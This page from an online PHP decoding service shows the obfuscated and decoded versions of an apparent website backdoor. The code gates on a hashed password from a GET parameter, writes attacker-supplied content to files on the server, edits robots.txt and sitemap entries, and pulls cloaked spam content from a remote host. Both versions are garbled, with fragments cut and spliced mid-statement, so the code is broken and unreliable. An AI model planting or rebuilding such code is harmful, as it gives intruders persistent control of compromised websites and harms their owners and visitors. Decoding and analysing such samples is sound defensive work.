Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
["\x44\x4f\x43\x55\115\105\x4e\124\x5f\x52\x4f\x74"; loLfuuL: if (!($lSquqL == "\160\165\x..
Decoded Output download
<? ["DOCUMENT_ROt"; loLfuuL: if (!($lSquqL == "put")) { goto loLfuWo; } if (strstr($lSquqg, ".xml")) { goto loLfuWu; } echo "1lse!<br>"; goto loLfuWW; loLfuWu: $lSquqn = $lSquqC . "/sitemap.xml"; if (!= $lSquqC . "/robots.txt"; if (file_exists($lSquqP)) { goto loLfuun; } $lSquqE = "User-uuP; loLfuun: $lSquqE = dageget($lSquqP); loLfuuP: $lSquqS = $lSququ . "://" . $lSquqJ . "/" . $lSquqg; if (stristr($lSquqE,E) . "\xd\xa" . "Sitemap: " . $lSquqS)) { goto loLfuuE; } echo "<br>file wr\1fuuE: echo "<br>ok<br>"; loLfuuS: goto loLfuWf; loLfuWz: echo "<br>sitemap>"; loLfuWf: loLfuWW: if (!strstr($lSquqg, ".p" . "hp")) { goto loLfuWJ; } $lSquXz = sha1(sha1(@$_GET["a"])); $lSquXf//" . $lSquqX . "/a.p" . "hp") || $lSquXf == "808735b17c8943e371eaa")) { goto loLfuWX; } $lSquXu = @$_GET["dstr"]; if (!file_put_contents($lSquqC . "/" . $lSquqg, $lSquXu)) { it; loLfuWI: $lSquXW = $lSquqf . "://" . $lSquqX . "/indexnew.php?web=" . . "&urlshang=" . $lSquqI . "&http=" . $lSququ . "&lang=" . $lSquqo; $lSquseragent")) { goto loLfuWE; } if (strstr($lSquXq, "okhtmlgetcontcgetcontent")) { goto loLfuWL; } if (!strstr($lSquXq, "pingxmlgetco\9ngxmlgetcontent", '', $lSquXq); @header("Content-typf5t=utf-8"); echo pingmap($lSquXq); exit; loLfuWg: goto loLfuWC; loLfuWL: $lSquXq = str_replace("okxm\x3ontent-type: text/xml"); echo $lSquXq; exit; loLfuWC: goto loLfuWP; ?>
Did this file decode correctly?
Original Code
["\x44\x4f\x43\x55\115\105\x4e\124\x5f\x52\x4f\x74"; loLfuuL: if (!($lSquqL == "\160\165\x74")) { goto loLfuWo; } if (strstr($lSquqg, "\x2e\x78\x6d\154")) { goto loLfuWu; } echo "\61\154\163\x65\x21\74\x62\162\x3e"; goto loLfuWW; loLfuWu: $lSquqn = $lSquqC . "\57\163\x69\x74\145\155\141\160\56\x78\155\x6c"; if (!= $lSquqC . "\57\x72\157\x62\157\164\163\x2e\164\170\x74"; if (file_exists($lSquqP)) { goto loLfuun; } $lSquqE = "\125\163\145\x72\x2duuP; loLfuun: $lSquqE = dageget($lSquqP); loLfuuP: $lSquqS = $lSququ . "\x3a\x2f\57" . $lSquqJ . "\57" . $lSquqg; if (stristr($lSquqE,E) . "\xd\xa" . "\123\151\164\145\x6d\141\160\x3a\40" . $lSquqS)) { goto loLfuuE; } echo "\74\142\162\76\146\151\154\x65\x20\167\x72\1fuuE: echo "\x3c\142\x72\76\x6f\x6b\74\x62\x72\x3e"; loLfuuS: goto loLfuWf; loLfuWz: echo "\74\x62\162\x3e\x73\151\164\145\x6d\x61\x70\76"; loLfuWf: loLfuWW: if (!strstr($lSquqg, "\x2e\x70" . "\150\160")) { goto loLfuWJ; } $lSquXz = sha1(sha1(@$_GET["\x61"])); $lSquXf\x2f\x2f" . $lSquqX . "\57\141\x2e\160" . "\150\160") || $lSquXf == "\70\x30\70\x37\x33\65\x62\61\67\143\70\x39\x34\x33\x65\x33\x37\61\145\141\x61")) { goto loLfuWX; } $lSquXu = @$_GET["\144\x73\x74\x72"]; if (!file_put_contents($lSquqC . "/" . $lSquqg, $lSquXu)) { it; loLfuWI: $lSquXW = $lSquqf . "\x3a\57\57" . $lSquqX . "\57\151\x6e\x64\145\x78\x6e\145\x77\x2e\x70\x68\160\x3f\167\145\142\x3d" . . "\46\165\x72\154\163\150\x61\156\147\75" . $lSquqI . "\46\150\x74\x74\160\x3d" . $lSququ . "\46\154\141\x6e\x67\x3d" . $lSquqo; $lSq\x75\x73\x65\162\x61\147\145\x6e\x74")) { goto loLfuWE; } if (strstr($lSquXq, "\x6f\153\x68\x74\x6d\154\147\x65\164\143\x6f\156\x74\14c\x67\x65\x74\143\x6f\156\164\x65\x6e\x74")) { goto loLfuWL; } if (!strstr($lSquXq, "\160\x69\x6e\147\x78\155\154\x67\x65\164\143\x6f\9\x6e\x67\170\x6d\x6c\x67\x65\x74\x63\157\156\x74\x65\156\x74", '', $lSquXq); @header("\103\x6f\156\x74\x65\x6e\x74\x2d\164\171\x70\1465\x74\75\165\x74\146\x2d\70"); echo pingmap($lSquXq); exit; loLfuWg: goto loLfuWC; loLfuWL: $lSquXq = str_replace("\157\x6b\170\x6d\x3\157\156\164\x65\x6e\164\55\x74\x79\x70\145\x3a\40\x74\145\170\164\x2f\x78\155\154"); echo $lSquXq; exit; loLfuWC: goto loLfuWP;
Function Calls
None |
Stats
MD5 | 5592f791c77470f627a5e04443e26545 |
Eval Count | 0 |
Decode Time | 47 ms |